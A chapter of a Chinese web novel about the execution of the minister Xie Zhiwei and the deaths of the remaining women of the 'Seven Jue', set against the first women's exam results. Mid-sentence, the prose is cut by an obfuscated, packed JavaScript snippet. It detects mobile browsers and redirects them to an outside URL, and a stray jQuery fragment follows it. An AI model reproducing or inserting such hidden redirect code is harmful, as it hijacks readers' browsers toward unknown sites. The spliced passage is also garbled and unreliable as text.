承安十一年，七月初七。
京城，菜市口。
今天是谢知微问斩的日子。
流放途中，皇帝的密使追上了她。圣旨只有一句话：谢知微勾结乱党，图谋不轨，就地正法。
她被押回京城，关进死牢。
三天后，菜市口。
天还没亮，刑场周围就挤满了人。
有来看热闹的，有来骂她的，也有来送她的。
更多的，是那些女学子。
她们穿着素衣，站在人群里，一言不发。
监斩官坐在台上，脸色铁青。
他看见那些女学子，心里发怵。可皇命在身，他不敢不斩。
谢知微被押上刑台。
她穿着一身囚服，头发散乱，可她的背挺得直直的。
脸上，还带着笑。
刽子手站在她旁边，刀已经举起来了。
监斩官站起来，正要开口下令。
忽然，人群中有人喊了一声。
“谢相！”
谢知微抬起头。
她看见那些女学子，一个一个跪下来。
一个，两个，三个……
越来越多的人跪下。
她们没有喊，没有哭，只是跪着。
跪在那里，看着她。
谢知微的眼眶红了。
可她没有让眼泪掉下来。
她只是看着她们。
看着那些年轻的、鲜活的、走在路上的女子。
然后她笑了。
笑得很轻，很淡。
像风。
监斩官挥下令牌。
“斩！”
刽子手的刀落下来。
就在那一瞬间，谢知微转过头，望着考场的方向。
那里，传来一阵欢呼。
是女学子的欢呼。
今天，是第一届女进士揭榜的日子。
她们考上了。
她们走在路上了。
谢知微听见那些欢呼，忽然笑出声来。
笑得很大声。
笑得眼泪都出来了。
刀落下。
血溅三尺。
溅在她那身囚服上。
可那囚服，是红色的。
红得像血。
红得像火。
红得像——
她娘当年赐死时穿的嫁衣。
她娘死的时候，穿的是一身红嫁衣。
那是她娘出嫁时穿的，留了二十年，一直舍不得穿。
那天，她娘穿上那身嫁衣，说：“死，也要死得好看。”
谢知微看着那身嫁衣，问：“娘，你怕吗？”
她娘笑了。
“怕什么？娘活了三十多年，够本了。”
刀落下。
血溅在嫁衣上。
红得像火。
现在，谢知微也死了。
血溅在她身上。
也红得像火。
也红得像嫁衣。
娘，女儿来找您了。
---
同一天。
青石镇后面的山上。
沈醉的坟前。
谢霜寒站在那里，手里握着剑。
苏锦坐在轮椅上，脸色白得像纸。
花解语抱着琴，一言不发。
云娘被阿桑扶着，站在最前面。
她们都知道了。
谢知微，死了。
没有人说话。
风吹过来，树叶沙沙响。
过了很久，苏锦开口了。
“七绝，”她说，“死了五个。”
谢霜寒说：“还剩两个。”
花解语说：“我，和云娘。”
云娘摇摇头。
“还有谢阁主。还有苏老板。你们都还活着。”
苏锦笑了。
“活着？”她说，“我这身子，活不了多久。”
谢霜寒说：“那就活一天算一天。”
花解语说：“对。活一天，替她们活一天。”
云娘点点头。
“好。那就活。”
她们站在那里，看着那座坟。
沈醉的坟。
旁边，是白芷的坟。
再旁边，是新立的坟。
没有碑，只有一棵小树。
谢知微的坟。
云娘摸索着走过去，摸着那棵小树。
摸着摸着，她笑了。
“都在。”她轻声说，“都还在。”
---
三天后。
江湖上传出一个消息。
“七绝死了。大燕无救。”
传到京城，传到江南，传到边关。
有人哭，有人笑，有人骂，有人叹。
可那些女学子，没有人哭。
她们只是读书，考试，当官。
把那条路，走下去。
有一天，有人在国子监门口，发现了一块石碑。
不知道是谁立的。
碑上刻着八个字：
“女子不死，世道不灭。”
旁边，还有一行小字：
“七绝在此，永不陨落。”
没有人知道是谁刻的。
可每一个走过的人，都会停下来，看一眼。
看一眼，就走了。
然后继续往前走。
那条路，还在。
那些人，还在。
---
一个月后。
青石镇后面的山上。
云娘一个人站在那里。
阿桑扶着她。
“云娘，”阿桑说，“回去吧。天快黑了。”
云娘摇摇头。
“再站一会儿。”
阿桑不再说话。
云娘站在那里，摸着那些树。
一棵，两棵，三棵，四棵，五棵。
五棵小树。
五座坟。
白芷，沈醉，谢知微，还有……
她摸着第四棵，问：“这是谁的？”
阿桑说：“花解语的。”
云娘的手顿了一下。
花解语。
那个弹琴的女人。
那个叫她“云娘”的女人。
那个说“我替你弹琴”的女人。
也死了。
三天前，花解语在刑场弹琴，被乱箭射死。
她弹的是《广陵散
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334434|199218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
》。
曲子里藏着密语。
那些密语说的是：女子不死，世道不灭。
她弹完最后一个音，倒下去。
怀里还抱着那架琴。
她娘的琴。
云娘摸着那棵小树，摸了很久。
然后她问：“第五棵是谁的？”
阿桑沉默了一会儿。
然后说：“谢阁主的。”
云娘的手又顿了一下。
谢霜寒。
那个冷得像冰的女人。
那个用剑劈开石桌的女人。
那个说“我欠白芷一条命”的女人。
也死了。
为了救苏锦，她一个人挡住了三十个暗卫。
杀了二十七个，自己也死了。
苏锦抱着她的尸体，哭了一夜。
然后苏锦也没了。
第二天早上，阿桑发现她的时候，她已经凉了。
手里握着那支银簪。
她妹妹苏绣的遗物。
旁边，是白芷的坟。
云娘站在那里，摸着那些小树。
一棵一棵摸过去。
白芷，沈醉，谢知微，花解语，谢霜寒，苏锦。
六棵小树。
六座坟。
七绝，只剩她一个人了。
“云娘，”阿桑轻声说，“咱们回去吧。”
云娘点点头。
“好。回去。”
她转过身，往外走。
走到山脚，忽然停下来。
“阿桑，”她说，“你听见了吗？”
阿桑问：“听见什么？”
云娘说：“笑声。”
阿桑愣住了。
云娘说：“她们在笑。”
阿桑仔细听。
风吹过来，树叶沙沙响。
像笑声。
阿桑的眼泪流下来。
云娘却笑了。
“都在。”她说，“都还在。”
---
江湖上还在传。
“七绝死了。大燕无救。”
可那些女学子，没有人信。
她们说：“七绝没死。”
“在哪儿？”
“在心里。”
她们指着自己的心口。
“在这儿。”
后来，有人在国子监门口，又发现了一块石碑。
碑上刻着七个名字。
谢知微。沈醉。谢霜寒。白芷。苏锦。云娘。花解语。
旁边，还有一行字：
“七绝在此，永不陨落。”
再后来，每年的七月初七，都有人来祭拜。
她们说，那天是谢相死的日子。
也是女进士揭榜的日子。
她们说，谢相死的时候，听见了她们的欢呼。
她笑了。
笑得很大声。
笑得眼泪都出来了。
那个笑，传了一百年。
传到现在。
传到每一个女子心里。
传到那条路上。
那条开满梅花的路上。
女子不死，世道不灭。
七绝在此，永不陨落。